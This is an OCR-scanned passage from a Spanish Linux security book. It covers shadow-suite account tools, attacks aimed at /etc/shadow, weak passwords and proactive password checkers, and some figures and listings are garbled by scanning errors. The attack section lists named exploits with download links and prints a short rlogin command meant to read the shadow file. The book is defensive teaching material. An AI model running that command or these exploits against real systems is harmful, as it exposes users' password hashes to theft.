SPW-r--r- - 1 root root 650 Nov 24 1997.cshrc
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root root 111 Nov 3 1997.inputrc
-rw-r-- root root 392 Jan 7 1998.login
-rw-r-- root root 51 Nov 25 1997.logout

-rw-r-- 1
1
1
-rW-r--r-- 1 root root 341 Oct 13 1997.profile
2
3

S 9
oo

drwxr-xr-x root root 1024 May 2 12:09 .seyon
drwxr-xr-x root root 1024 May 2 12:08 1g

Tenga en cuenta que cuando vea el archivo /etc/skel, deberemos utilizar la opcién -a
(como minimo) porque la mayoria de los archivos son archivos punto. Estos archivos
punto no aparecen en la salida simple del listado Is —I.

Tras crear la cuenta de un nuevo usuario, copie estos archivos al directorio de
inicio del usuario y cambie su propietario y grupo en consecuencia. Si los deja en su
estado original, todavia seran propiedad del root y el usuario no podra utilizarlos.

Borrar usuarios en sistemas con shadowing: userdel

Para borrar un usuario en un sistema con skadowing se utiliza userdel. Esto
suprime la informacion del usuario de /etc/shadow, /etc/passwd y /etc/group y,
normalmente, la borra del todo.

Aplicacion: userdel.
Necesita: userdel.
Archivos de configuracion: ninguno. Forma parte del paquete shadow.

Historial de seguridad: userdel no tiene un historial de seguridad importante.
Sin embargo, tanto la versién 3.3.1 como la 3.3.2 de shadow tenian serios problemas
de seguridad en los archivos SUID y en login. Si utiliza estas versiones, actualicelas.

Notas: a finales de 1998, se publicé un error menor de userdel. Aparentemente,
si crea y borra un usuario dos veces, usando userdel para la operacion de borrado,
el sistema sufrira un duro castigo y el proceso consumira una cantidad importante
de memoria y, probablemente, de potencia del procesador. El informe era
importante para shadow-980724.

Para borrar un usuario con userdel, introduzca el siguiente comando:
$ userdel -r username

La opcion -r borra el directorio de inicio del usuario, lo que resulta muy util.

Cuando vaya a borrar usuarios, es conveniente hacer una copia de seguridad de sus
directorios, sobre todo si va a borrar sus cuentas debido a una actividad no autoriza-
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da. Conservando una instantdnea de la jerarquia de sus directorios, guarda una evi-
dencia en caso de disputa o por si necesitara presentarla ante las autoridades.

Modificar el registro de un usuario existente
en sistemas con shadowing: usermod

Para modificar el registro de un usuario existente, utilice usermod.
Aplicaciéon: usermod.

Necesita: usermod.

Archivos de configuraciéon: ninguno. Forma parte del paquete shadow.

Historial de seguridad: usermod no tiene un historial de seguridad impor-
tante. Sin embargo, tanto la version 3.3.1 como la 3.3.2 de shadow tenian impor-
tantes problemas de seguridad relacionados con los archivos SUID y en login. Si
utiliza estas versiones, actualicelas.

usermod puede modificar uno, varios o todos los campos del registro de un
usuario. Los cambios se reflejan en varias bases de datos. Las opciones de usermod
se resumen en la Tabla 5.6.

Tabla 5.6 Opciones de la linea de comandos de usermod

Opcién Propésito

-C [comentario] Esta opcién se utiliza para modificar la informacion del
campo gecos del usuario (su nombre real).

-d [directorio de inicio} Esta opcidn se utiliza para modificar el directorio de inicio
del usuario.

-e [fecha de expiracién| Esta opcién se utiliza para modificar la fecha de expiraciéon

de la contraseiia de usuario.

-f [bloqueo por inactividad] Esta opcion se utiliza para modificar los pardmetros de
bloqueo por inactividad de la cuenta del usuario.

-g lgrupo iniciall Esta opcién se utiliza para modificar los datos de
pertenencia al grupo inicial del usuario.

-G [otros grupos] Esta opcion se utiliza para modificar los datos de
pertenencia del usuario a otro grupo.

-I iTnombre de usuario) Esta opcién se utiliza para modificar el nombre de inicio de
sesién del usuario.

-s [shell predeterminada) Esta opcion se utiliza para modificar la shell predetermi-
nada del usuario.

-u [UID] Esta opcion se utiliza para modificar el UID del usuario.
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NOTA
Si crea scripts automaticos para usermod, recuerde que no le permitird hacer cam-
bios sobre usuarios activos. Esto es, el usuario destino no debe estar conectado en
ese momento. Si lo esta, usermod no podrd ejecutar esos cambios. Si va a escribir
scripts con ese propdsito, incluya una rutina que gestione los fallos de usermod (y
quizd que envie un mensaje para informarle de que los cambios no se han podido
efectuar). De lo contrario, podria creer que se hicieron esos cambios, cuando de
hecho no fue asi.

Verificar la base de datos de contraseiias: pwchk

No hay duda de que con el tiempo realizara numerosos cambios en la base de
datos de contrasenas. Dado que existe un potencial riesgo de errores que se
incrementa con el tiempo, debe verificar periédicamente la integridad de la base de
datos de contrasefias, para lo que se utiliza pwchk.

Aplicacion: pwchk.
Necesita: pwchk.
Archivos de configuracion: ninguno.

Historial de seguridad: pwchk no tiene un historial de seguridad importante.
Sin embargo, tanto la version 3.3.1 como la 3.3.2 de shadow tenian serios problemas
de seguridad que ataiien a los archivos SUID y en login. Si utiliza estas versiones,
actualicelas.

pwchk verifica que toda la informacion de /etc/passwd y de /etc/shadow es
valida. Se asegura de que el usuario y los grupos son validos y de que tienen shells
de inicio de sesion validas, de que todos los campos estan presentes y justificados y
de que todos los usuarios tienen un grupo apropiado y un UID tnico.

Anadir un grupo en sistemas con shadowing: groupadd

Para anadir un grupo se usa la utilidad groupadd.
Aplicacion: groupadd.

Necesita: groupadd.

Archivos de configuracion: ninguno

Historial de seguridad: groupadd no tiene un historial de seguridad
importante. Sin embargo, tanto la version 3.3.1 como la 3.3.2 de shadow tenian
serios problemas de seguridad en los archivos SUID y en login. Si utiliza estas
versiones, actualicelas.

groupadd admite dos opciones de linea de comandos, que se resumen en la
Tabla 5.7.



Tabla 5.7 Opciones de la linea de comandos de groupadd

Opcién Proposito
-g lid del grupol La opcidn —g se utiliza para especificar el GID.
-0 La opcion —o es suplementaria. Se utiliza cuando se desea crear un

GID que no sea unico.

Los cambios realizados con groupadd quedan reflejados en /etc/group.

Modificar la informacién de un grupo en un sistema
con shadowing: groupmod

Para modificar la informacion de un grupo se utiliza el comando groupmod.
Aplicacion: groupmod.

Necesita: groupmod.

Archivos de configuracion: Ninguno.

Historial de seguridad: No tiene un historial de seguridad importante. Sin
embargo, tanto la version 3.3.1 como la 3.3.2 de shadow tenian serios problemas de
seguridad en los archivos SUID y en login. Si utiliza estas versiones, actualicelas.

Notas: a principios de 1998, se envi6 un informe de un error en groupmod de
Debian. Aparentemente, ciertas modificaciones de grupos podian hacer que
groupmod provocara un error. Este problema no ha tenido ninguna repercusion en
la seguridad y ya ha sido solucionado.

groupmod admite tres opciones de linea de comando, que se resumen en la
Tabla 5.8.

Tabla 5.8 Opciones de la linea de comandos de groupmod

Opcién Propdsito

-g lid del grupo] Esta opcidn se utiliza para modificar el GID.
-n [nombre del grupol  Esta opcion se utiliza para modificar el nombre del grupo.

-0 Esta opcién es suplementaria. Se utiliza cuando se desea crear un
GID no unico.

Los cambios realizados con groupmod quedan reflejados en /etc/group.

Borrado de grupos en sistemas con shadowing: groupdel

Para borrar un grupo se usa la utilidad groupdel.
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Aplicacion: groupdel.
Necesita: groupdel.

Archivos de configuracion: ninguno.
Historial de seguridad: groupdel no tiene un historial de seguridad importante.
groupdel admite un solo argumento: el nombre del grupo. He aqui un ejemplo:

$ groupdel contabilidad

Esto borrara el grupo contabilidad.

Gestionar el acceso a grupos: gpasswd

En algin momento, deseara asignar administradores de grupos a grupos de
usuarios. Un administrador de grupos es alguien que puede anadir o eliminar
usuarios del grupo que esta administrando. Ademas, es posible que desee limitar el
acceso a los grupos e, incluso, protegerlos mediante contraseiia. Para ello, se usa la

utilidad gpasswd.
Aplicacion: gpasswd.
Necesita: gpasswd.

Archivos de configuracion: ninguno.
Historial de seguridad: gpasswd no tiene un historial de seguridad importante.
gpasswd admite diferentes opciones en la linea de comandos, que se resumen

en la Tabla 5.9.

Tabla 5.9 Opciones de la linea de comandos de gpasswd

Opcion

Propésito

-A [nombre de usuario del administrador]

-a [nombre de usuario)

-d [nombre de usuario]

-M [nombre de usuario del miembro}

-r [grupol

-R [grupd)

Esta opciéon se utiliza para especificar un
administrador de grupo que se identifica por su
nombre de usuario. Por ejemplo, gpasswd -A
jsprat contabilidad hace que jsprat sea adminis-
trador del grupo contabilidad.

Esta opcién se utiliza para afiadir un usuario a
un grupo.

Esta opcién se utiliza para borrar un usuario
de un grupo.

Esta opcidn se utiliza para especificar miembros.
Los administradores de grupo utilizan esta
opcion para quitar una contrasefia de grupo.

Esta opcion se utiliza para desactivar el acceso a
los grupos a través del comando newgrp
(newgrp se explicara en este mismo capitulo).

Los cambios hechos con gpasswd quedan reflejados en /etc/group.
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Verificacion de datos de los grupos: grpchk

Con el paso del tiempo, tanto usted como los administradores de los grupos
pueden realizar numerosos cambios en los datos de los grupos. Dado que existe el
riesgo potencial de cometer errores y que se incrementa con el tiempo, debe
verificar periddicamente la integridad de la informacion de los grupos, para lo que
se utiliza el comando grpchk sin argumentos (grpchk) o, si se prefiere, en modo de
solo lectura (grpchk —r).

Aplicacion: grpchk.

Necesita: grpchk.

Archivos de configuracién: ninguno.

Historial de seguridad: grpchk no tiene un historial de seguridad importante.

grpchk examina los datos de los grupos buscando posibles errores en el nimero

de campos vy en la validez de sus nombres, sus usuarios y sus administradores. Si
y
grpchk encuentra dichos errores, le solicita que los corrija.

Si prevé que grpchk va a encontrar errores, quizé deba iniciarlo, ya que ciertos errores
provocan que grpchk borre todo un registro. Antes de hacerlo, es conveniente examinar
manualmente dicho registro. Quiza pueda reparar el dafio sin eliminar todo el registro.

Mas alla de la creacion y borrado de usuarios
y grupos

El autor de la suite shadow reconocia que habria casos en los que es posible que
se desee ir mas alla de la simple insercion y borrado de usuarios y grupos. Para
llevar cuenta de esto, la suite shadow cuenta con diversas utilidades para el
mantenimiento general de las cuentas y de las bases de datos de autenticacion.

Cambiar los datos de expiracion de la contrasena
de un usuario existente: chage
Aplicacion: chage.
Necesita: chage.
Archivos de configuracion: ninguno.
Historial de seguridad: chage no tiene un historial de seguridad importante.

chage permite cambiar una, varias o todas las reglas utilizando las opciones de
la linea de comandos. Esas opciones se resumen en la Tabla 5.10.
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Tabla 5.10 Opciones de la linea de comandos de chage

Opcién Proposito

-d [dias desde la dltimal Esta opcion se utiliza para contar el nimero de dias (contados
desde el 1 de enero de 1970) transcurridos desde que se
cambié la contrasefia por ultima vez.

-E [fecha de expiracién] Esta opcion se utiliza para modificar la fecha en que la cuenta
del usuario expirara y sera bloqueada. Esta fecha se puede
expresar tanto en dias transcurridos desde el 1 de enero de
1970 como en formato de fecha estandar.

-1 {dias antes del bloqueo| ~ Esta opcion se utiliza para especificar cudntos dias puede
permanecer inactiva una cuenta con una contraseia expirada
antes de ser bloqueada. Intente no ser demasiado estricto al
respecto: a menudo, los usuarios no vuelven a sus cuentas
durante una o varias semanas. Y dado que usted es el
administrador del sistema, le importunaran para conseguir el
desbloqueo de su cuenta.

-M |n° mdximo de dias] Esta opcién se utiliza para modificar el numero maximo de dias
durante los que es valida la contrasefia del usuario. Por ejem-
plo, si desea obligar a los usuarios a cambiar de contrasefia una
vez cada 60 dias, la opcién sera —-M 60.

-m [n° minimo de dias} Esta opcién se utiliza para modificar el numero minimo de dias
entre cambios de contraseiia. Por ejemplo, si quisiéramos
permitir a los usuarios cambiar de contraseia s6lo una vez
cada 30 dias, la opcion seria -m 30.

-W [dias de advertencial Esta opcién se utiliza para modificar el nimero de dias durante
los que el sistema avisara al usuario de que hay que cambiar las
contrasenas.

- NOTA

Si lo desea, también puede utilizar chage de forma interactiva introduciendo el
comando chage mas el nombre de usuario. Sin embargo, tenga en cuenta que estas
sesiones interactivas de chage se ejecutan sobre todos los campos, no s6lo sobre unos
pocos. Si estamos buscando un control mas incisivo, probablemente el modo inte-
ractivo no nos convenga.

Mezclar y emparejar las bases de datos de /etc/passwd
y /etc/shadow

Es posible que alguna vez tenga que migrar los datos de /etc/passwd al formato
de shadow. Si eso ocurre, utilice pwconv, que no sélo permite la migracion de datos
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desde una base de datos de /etc/passwd existente, sino que también permite
integrar simultaneamente informacion con shadowing desde una base de datos de
shadow existente, lo que resulta bastante til.

pwconv tiene también varios mecanismos de seguridad automatizados. Uno
de ellos es que siempre que se introduzcan entradas que no tengan ninguna
contraseia asignada, pwconv no las migre a /etc/shadow. Mas atin, pwconv
utiliza la configuracién predeterminada de expiracién, aviso y bloqueo de
cuentas que viene definida en /etc/login/defs. Esta configuracion ofrece un
buen punto de partida para todas las cuentas recién migradas. (Si estos valores
no son los adecuados, cambielos, sobre todo si pretende utilizar pwconv con
regularidad.)

Por otro lado, es posible que desee volver a convertir los datos de shadow al
formato estandar de /etc/passwd, para lo que se utiliza pwunconv.

ADVERTENCIA

Tenga cuidado al experimentar con estos comandos, especialmente con pwunconv.
Tenga en cuenta que de forma predeterminada pwunconv no sélo convierte los datos
con shadowing a formato /etc/passwd, sino que también borra el archivo de shadow.

Posibles ataques a un sistema con shadowing

Para finalizar, trataremos brevemente la propia seguridad de la suite shadow ¢Es
segura? Puede llegar a serlo. Sin embargo, los atacantes tienen medios para montar
formidables ataques.

En primer lugar, hay que saber lo siguiente: basicamente, la suite shadow
simplemente esconde las contrasefas de los ojos curiosos. Asi que, en lugar de que
se pueda acceder a las contrasefias en /etc/passwd, se ocultan en /etc/shadow. A
corto plazo, esto refuerza el sistema de seguridad. Sin embargo, los atacantes
conocen perfectamente la suite shadow y en consecuencia han trasladado su
interés por /etc/passwd a /etc/shadow. La tinica diferencia material desde el punto
de vista del atacante es que /etc/shadow es mas dificil de alcanzar.

De hecho, la suite shadow es bastante segura en si misma, siempre que esté
instalada la tltima version. Pese a ello, desafortunadamente su seguridad depende
generalmente mucho de la seguridad del sistema, ya que muchas otras aplicaciones
tienen agujeros que permiten a los atacantes leer (o incluso escribir) en
/etc/shadow. Hay que tener en cuenta que esto no es un fallo del autor de la suite
shadow. Son sélo cosas que pasan. Los analistas de seguridad descubren todos los
dias puntos vulnerables en el software y, con el tiempo, siempre surgen
aplicaciones que ponen en peligro la seguridad de la contrasena. Esto ocurre con la
suficiente frecuencia como para que esté constantemente en guardia.
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He aqui algunos ejemplos:

e En marzo de 1999 aparecié un error en xfs (el servidor de fuentes de X) en

Red Hat 5.1. Si el root ejecuta xfs mientras exista /tmp/.font-unix, los
usuarios habituales podran leer y escribir en /etc/shadow. Se puede
consultar el exploit del ejemplo en http:/geek-girl.com/bugtrag/19991/
1166.html.

En diciembre de 1998, los investigadores descubrieron un fallo de seguridad
en pam_unix_passwd.so (un componente conectable de autenticacién de
moédulo): se utiliza un archivo temporal sin el permiso apropiado. El
resultado final es que los atacantes pueden obtener acceso de lectura y
escritura a /etc/shadow.

En noviembre de 1998, los investigadores desvelaron un fallo en el protector
de pantalla del K Desktop que, si se aprovechaba, concedia a los atacantes

acceso de lectura a /etc/shadow.

De hecho, por termino medio suele aparecer un error similar cada 90 dias
aproximadamente. La Tabla 5.11 da una imagen ligeramente extensa y muestra lo
eclécticos que pueden llegar a ser dichos ataques.

Tabla 5.11 Varios ataques dirigidos al acceso a /etc/shadow

Exploit Breve descripcion y localizacién

deshadow.c Cédigo fuente intruso para desproteger las entradas de /etc/shadow.

imapd hole Los fallos de imapd en Linux pueden revelar las contrasefias ocultas. Para
obtener mas informacion, consulte http:/underground.simplenet.com/
central/linux-ex/imapd_core.txt.

Telnet hole Se puede provocar un error utilizando telnet, que revelara las contrasefias
ocultas. Para obtener mas informacién, consulte http://www.hoobie.net/
security/exploits/hacking/telnet_core.txt.

shadowyank Aprovechando un agujero de FTP, shadowyank captura las contrasefias
ocultas de los fallos de FTP. Para obtener mas informacién, consulte
http://www.atomicfrog.com/archives/exploits/Xnix’SHADOWYANK.C.

imapd crash imapd puede romperse y el volcado resultante revelara las contrasefias

ocultas. Para obtener mas informacion, véase http://www.hoobie.net/se-
curity/exploits/hacking/imapd_4.1b.txt.

Algunas plataformas son también vulnerables al siguiente ataque:

$ export RESOLV_HOST_CONF=/etc/shadow
$ rlogin /etc/shadow
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En resumen, pese a que la suite shadow no es esencialmente defectuosa, hay
muchos otros factores no relacionados que pueden afectar a su seguridad. La tinica
forma de proteger las contrasefias ocultas es permanecer alerta y mantener el
sistema actualizado.

La suite shadow es una importante innovacion y una herramienta vital de
cualquier arsenal de seguridad. Ademas de proteger las contrasefias de ojos no
autorizados, la swite shadow ofrece controles extendidos sobre las cuentas y
contrasefas de los usuarios, asi como una oportunidad de implementar al menos
una politica minima de contrasefias con relativa facilidad.

Tras la instalacion de la suite shadow

El shadowing de contrasefias es un excelente comienzo, pero no puede
garantizar la seguridad de las contrasefas del sistema. Llegados a este punto,
vamos a ampliar el alcance de la seguridad tradicional de las contraseiias (bloqueo
de /etc/passwd) hasta otros temas mas exdticos, pero no menos importantes:

¢ Eleccién humana de contrasefias y sus efectos sobre la seguridad del
sistema.

¢ Comprobacion proactiva de las contrasefas.

¢ Seguridad auxiliar de las contrasefias.

Eleccion humana de contrasenas y seguridad
del sistema

El cifrado es un componente vital de la seguridad. Sin embargo, por muy potente
que sea nuestro cifrado, fallara si los usuarios eligen contrasefias débiles.

Los usuarios son perezosos, propensos a errores y olvidadizos. A menudo,
crean contraseiias a partir de los siguientes datos (en parte para ahorrar tiempo y
en parte para no complicarse la vida):

¢ Fecha de nacimiento.

¢ Numero de la seguridad social.

¢ Nombres de los hijos.

¢ Nombres de sus artistas favoritos.

¢ Palabras del diccionario.

* Secuencias numéricas (como 90125).

¢ Palabras escritas al revés.

Estas elecciones son terribles. Crack romperia cualquier contrasena de este

estilo en segundos. De hecho, las buenas contrasefias son dificiles de conseguir,
incluso si se tienen conocimientos de cifrado.
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Existen varios motivos para semejante afirmacion. Uno de ellos es que los
proveedores locales venden computadoras con una asombrosa potencia de
proceso. Estas maquinas pueden ejecutar millones de instrucciones por segundo,
por lo que proporcionan a los atacantes la potencia necesaria para probar miles de
combinaciones de caracteres.

Ademas, las herramientas de ataque a diccionarios se han vuelto muy
avanzadas. Por ejemplo, Crack emplea reglas para crear complejas combinaciones
y variaciones de minusculas y mayusculas que crean exéticas contrasefias mas alla
de los limites de la imaginacion, memoria o paciencia del usuario medio (como
#z!~[caracter no imprimible]=X<). Incluso cuando los usuarios se vuelven
relativamente creativos con sus contrasefas, Crack puede ganar a menudo.

NOTA

Para probar esta teorfa, cree algunas cuentas con las que considere que serian con-
trasefias dificiles de romper, ejecute Crack contra ellas y vea cudnto tarda en generar
una coincidencia valida.

La mayoria de las veces, los usuarios ni siquiera hacen un esfuerzo razonable
por reforzar la seguridad de las contrasenas. En un documento de 1993 llamado
"UNIX Password Security”, un especialista observaba lo siguiente:

"Es de la mayor importancia que todos los usuarios de un sistema elijan una
contrasefla que no se adivine con facilidad. La seguridad de cada uno de los
usuarios es importante para la seguridad de todo el sistema. Los usuarios a
veces no tienen ni idea de cémo trabaja un sistema multiusuario y no se dan
cuenta de que eligiendo una contrasefia ficil de recordar, estan posibilitando
indirectamente que un extrafo manipule todo el sistema.”

(Véase "Unix Password Security", Walter Belgers, 6 de diciembre de 1993. Se
puede encontrar en la direccion http://www.giga.nl/walter/write/pwseceng.ps.)

Este es el motivo por el que herramientas como Crack son tan valiosas.
Mediante la comprobacion regular de la fortaleza de las contrasefias de la red, es
posible asegurarse de que ningun intruso pueda penetrar en ella aprovechando una
mala eleccion de contrasefia. Tal medida puede aumentar notablemente la
seguridad del sistema. De hecho, muchas personas emplean actualmente
herramientas que comprueban las contrasenas de los usuarios al crearlas. Esto
responde a la siguiente filosofia:

"La mejor solucion al problema de tener contrasenas facilmente adivinables
en un sistema es evitar que se introduzcan en el sistema una primera vez. Si
un programa del estilo de un cracker de contrasefias reacciona adivinando
contrasefias detectables que ya estin dentro del sistema, aunque haya
encontrado el agujero de seguridad, éste ha existido durante el tiempo que el
programa ha tardado en detectarlo... Sin embargo, si el programa que cam-



| 159

bia las contraseflas de los usuarios... comprueba su seguridad y la posibi-
lidad de que las averigiien antes de que la contrasefna haya sido asociada a la
cuenta del usuario, nunca habra existido ningun fallo en la seguridad."

(Véase "Improving System Security via Proactive Password Checking", Com-
puters and Security [14, pags. 233-249], Matthew Bishop, UC Davis, California y
Daniel Klein, LoneWolf Systems Inc., 1995.)

Esta técnica se denomina comprobacion proactiva de las contraseiias, algo
que puede aumentar considerablemente la seguridad de las contrasefias del
sistema Linux.

Comprobacion proactiva de contrasenas

En la comprobacion proactiva de contrasenas, se eliminan las contrasefas
débiles antes de su envio a la base de datos de contrasenas. El proceso funciona de
la siguiente forma: cuando un usuario crea una contraseia, ésta se compara en
primer lugar con una lista de palabras y con una serie de reglas. Si la contrasefia no
cumple los requisitos de este proceso (por ejemplo, el comprobador proactivo de
contraseflas encuentra una coincidencia o considera que el patron es demasiado
sencillo), se obliga al usuario a elegir otra.

Actualmente, existen tres comprobadores proactivos de contraseias que preva-
lecen (y hay un cuarto en camino). Todos requieren un cierto pirateo por su parte. Son:

* passwd+.
¢ anlpasswd.
* npasswd.

Vamos a explicar rapidamente cada uno de ellos.

ADVERTENCIA

Si es la primera vez que utiliza Linux o UNIX, debe tener un cuidado especial al ins-
talar comprobadores proactivos de contrasefias o cualquier programa que intervenga
en el inicio de sesidn o en procesos de creacion de contrasenas. Nosotros recomen-
damos firmemente que tome una unidad de disco duro vieja, instale Linux y realice
pruebas antes de instalar estos programas en cualquier sistema con misiones criticas.
De esta forma, si comete algun error, s6lo tiene que reinstalar y probar de nuevo sin
causar dafio alguno. Idealmente, debe poder implementar correctamente estas herra-
mientas varias veces en una unidad desechable antes de llevarlas a un sistema con
misiones criticas.

passwd+

Matt Bishop es el creador de passwd+, que ofrece los siguientes atractivos:
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* Grandes capacidades de registro, entre las que se incluyen el registro de
todas las sesiones, de los errores, de los usuarios que han cambiado sus
contrasenas, de las reglas que no cumplian la contrasena y del éxito o fracaso
en el cambio de una contrasefia dada.

¢ Especificacion del nimero de caracteres significativos de la contrasefia (es
decir, cuantos se utilizaran en la comprobacién).

Ademas, passwd+ permite establecer el mensaje de error que aparecera cuando
un usuario envie una contraseiia débil. Esta funcionalidad se debe utilizar para
ensefiar poco a poco a los usuarios los motivos por los que sus elecciones de
contrasefias no siempre son acertadas.

Estas son algunas reglas de ejemplo que proporciona passwd+:

¢ El numero de oficina, el teléfono de la oficina, el nombre de host y el de
dominio estan prohibidos.

e Las contrasefias deben tener al menos n caracteres de longitud.

¢ Las contrasefias deben mezclar mayusculas y mindsculas.

¢ Las contrasefias que aparecen en el diccionario estan prohibidas.
¢ El nombre y los apellidos (al derecho o al revés) estan prohibidos.
¢ El nombre de conexion (al derecho o al revés) esta prohibido.

Bishop desarrollé un amplio lenguaje de conjunto de herramientas para poder
controlar todos los aspectos de la contrasefia y las pruebas a las que se expone.

Se puede obtener en la direccion: ftp:/ftp.dartmouth.edu/pub/security/.

Para encontrar mas informacién sobre passwd+ y la teoria que tiene detras,
véase el informe técnico "A Proactive Password Checker", Dartmouth Technical
Report PCS-TR90-152. Dartmouth no lo tiene disponible en la red. Sin embargo, se
puede solicitar una copia en papel por correo a http://www.cs.dartmouth.edu/cgi-
bin/mail_tr.p12tr=TR90-152.

anlpasswd

Otro buen comprobador proactivo de contrasefias es anlpasswd, del Argonne
National Laboratory. Este programa, escrito principalmente en Perl, utiliza el
archivo de diccionarios que se elija y permite crear reglas personalizadas. Las
reglas predeterminadas estandar son las siguientes:

e Numeros con espacios y espacios con numeros.
e Mayusculas y mindsculas con espacios.

¢ Todo en mayusculas o en mindsculas.

¢ Todo nimeros.

¢ La primera letra mayuscula y numeros.

¢ Todas las combinaciones de las anteriores.
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anlpasswd también tiene otros atractivos. Uno de ellos es que el cédigo de Perl
est4 excepcionalmente bien documentado y es facilmente legible. A partir de ello,
se puede obtener una aproximacién del diseiio de dichos programas, incluso
aunque el conocimiento de Perl sea minimo.

anlpasswd viene también con un documento titulado "Pass or Fail: A New Test
for Password Legitimacy". En él, los autores describen su motivacion, su finalidad
y sus resultados, con lo que ofrece una visién fuera de lo comun del desarrollo de
la herramienta. Y, finalmente, anlpasswd es muy facil de instalar.

anlpasswd puede obtenerse en ftp:/coast.cs.purdue.edu/pub/tools/unix/an1passwd/
anlpasswd-2.3.tar.Z.

npasswd

npasswd (escrito por Clyde Hoover) es mas que un simple comprobador
proactivo de contrasefias. Como se explica en la documentacién:

"npasswd es un sustituto del comando passwd(1) de UNIX y de los sistemas
operativos similares a UNIX. npasswd somete a las contrasefas de usuario a
estrictas pruebas de capacidad de adivinacion para reducir la posibilidad de
que los usuarios escojan contrasefias vulnerables... npasswd esta disefiado
para complementar o reemplazar los programas estandar de cambio de
contrasefas, passwd, chfn y chsh."

La historia de npasswd es interesante. Cuando se produjo el ataque por un error
a Internet en 1988, el autor de npasswd estaba en los Academic Computing Services
de la Universidad de Texas. Pese a que la universidad sobrevivié al ataque del error,
el incidente generd un interés sustancial. Basandose en la documentacion posterior
a este hecho, el autor de npasswd escribi6 un programa de auditoria de
contrasefas, lo ejecutd sobre la base de datos de contrasefas de su departamento
y encontr6é muchas contrasefas débiles.

Al ano siguiente, el autor escribié la primera version de npasswd y la distribuyé
por todo el sistema. En 1993, habia incorporado moédulos de Crack. Actualmente,
npasswd es un comprobador proactivo de contrasefias muy avanzado.

npasswd es una exhaustiva solucion de nivel comercial que puede reforzar
considerablemente la seguridad de las contrasefias. La distribucién incluso cuenta
con un conjunto de herramientas de desarrollo para poder ampliar npasswd o
incorporarlo a otras aplicaciones.

Para obtener mas informacion sobre npasswd y sobre los principios en que se
basa, puede visitar http:/www.utexas.edu/cc/unix/software/npasswd/doc/.

Para obtener npasswd, dirijase al sitio web http://www.utexas.edu/cc/unix/
software/npasswd/.
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Otros aspectos de la seguridad de contrasenas

En los ataques tradicionales a contraseiia, los atacantes capturaban los archivos
de contraseiias del sistema y ejecutaban utilidades de intrusos contra ellos. Su meta
era hacerse con el root. Como hemos visto, podemos soslayar estos ataques con el
shadowing, con utilidades proactivas de contrasenas y algo de sentido comun.

Sin embargo, pese a que estos pasos reducen sustancialmente el riesgo, por si
mismos no garantizan la seguridad completa de las contrasefias, ya que en una red
Linux media existen muchos otros mecanismos de contrasefia, muchos de los
cuales no utilizan /etc/passwd o /etc/shadow para su autenticacién. En la si-
guiente seccion examinaremos estas otras posibles vias de ataque y cémo podemos
cerrarlas.

Proliferacion de contraseias y seguridad

Hasta el momento, nos hemos centrado principalmente en las contrasefas de
inicio de sesion, que son verdaderamente importantes. Después de todo, muchas
aplicaciones cliente-servidor utilizan autenticacion estandar basada en /etc/
passwd o /etc/shadow (FTP, telnet y TFTP, por citar algunas). Sin embargo, dentro
de un esquema mayor, éstas son solo el principio.

Queremos que aprecie en su totalidad la importancia de la seguridad de las
contrasenas, asi que vamos a aproximarnos por pasos. En primer lugar, piense en
su propia cuenta (no como ro0ot, sino como usuario). Véase la Figura 5.2.

Un buen script con contrasefias para la conexion con un proveedor de servicios de Internet
Contrasefa de una aplicaciéon de base de datos local (libreta de teléfonos)
Un archivo .htpasswd local para acceder a la intranet

Una contrasefa de BIOS o de PROM

Netscape Communicator, con una cuenta de correo POP

en un proveedor de servicios de Internet Un archivo cookies. txt
con una contrasefa a
un sitio web en linea
de suscripcion
obligatoria

FIGURA 5.2
Su maquina y algunas de las contrasefias que tiene.

Como muestra la Figura 5.2, existe la posibilidad de tener al menos cinco
contrasenas. Por ejemplo, veamos nuestro caso. Cuando nos levantamos por la
manana, llevamos a cabo la siguiente rutina:

® Arrancar la computadora e introducir la contrasena de la BIOS.

e Conectar con el proveedor de servicios de Internet e introducir la contrasefia
de conexion.
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¢ Comprobar el correo con una contraseiia de POP3.

* Conectar con algunas cuentas de correo de AltaVista y Hotmail, utilizando
aun mas contrasenas.

* Hacer telnet al servidor de la empresa con otra contrasefia.
Pero Linux es un sistema multiusuario y sabemos que es posible que tenga la

intencion de tener, al menos, unos pocos usuarios. Por ejemplo, imaginemos que
tiene otros cinco usuarios en su maquina. Véase la Figura 5.3.

5 contrasefas 5 contrasefas
Cooco, (=TT ]

[Usuano SI Lsuano 4]

5 contrasefias
[—]—]—]—]—]

FIGURA 5.3
Su maquina, con cinco usuarios mas.

Para tener una completa perspectiva de las cosas, supongamos también que
utiliza Linux en un entorno empresarial. En altima instancia, se enfrentara a una
situacion similar a la descrita en la Figura 5.4.

Estacion de trabajo  Switch, Bridge, Hub
[

5 usuarios i 20000
30 contrasefias ~||[...4
Contrasefias de
M ) mantenimiento
Estacion de trabajo
5 usuarios i
30 contrasefas ™| w Varias
contrasefa:
Esta(ﬁaba‘o Servidor de  Servidor de
. ) archivos 1 archivos 2
5 usuarios AE 3
30 contrasefias »
T

Estacién de trabajo

5 usuarios
30 contrasenas !
Contrasefia RDSI
FIGURA 5.4

Su pequeia red.
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Su pequena red podria contener unas 200 contrasefas. Hay s6lo dos posibilida-
des para esto y ambas son igual de poco deseables:

¢ Lamayoria de las contrasenas son iguales.
o Lamayoria de las contraseiias son diferentes.

Cada posibilidad presenta sus propios riesgos. En el primer caso, los usuarios
crean contrasefias idénticas para varias aplicaciones y servidores, lo que es fatal.
Imagine que los usuarios tienen también cuentas externas con servicios como
Hotmail. Suponga ademas que los usuarios son perezosos y que sus contrasefias de
Hotmail son idénticas a las que utilizan en su sistema. La situaciéon es muy
comprometida. Si las bases de datos de contrasefias de Hotmail alguna vez se
encuentran en peligro (v las contrasefias de Hotmail lo han estado en el pasado),
los intrusos podrian invadir su sistema. De ahi que esté expuesto a ataques
cruzados de hosts y, posiblemente, incluso a ataques cruzados de redes.

Piense en la situacién contraria. Imagine que establece como politica de
empresa que todas las contrasefias han de ser unicas y los usuarios cumplen dicha
politica, incluso sobre sistemas que no admiten la comprobacion proactiva de
contrasefias. (Un escenario poco probable, pero estamos teorizando.) En ese caso,
la calidad y fortaleza de estas contrasefias invariablemente empeorara. La apatia de
los usuarios, unida a su ansiedad por no olvidar las distintas contrasenas,
probablemente les hara crear contrasefias que sean rudimentarias o muy similares
unas a otras.

Y ahora viene lo peor. Las aplicaciones de terceros utilizan las bases de datos de
contrasefias ya establecidas (/etc/passwd o /etc/shadow) para llevar a cabo la
autenticaciéon. Adn es menos frecuente que implementen un almacenamiento de
contrasenas completamente seguro. (Por ejemplo, Netscape Communicator 4.5
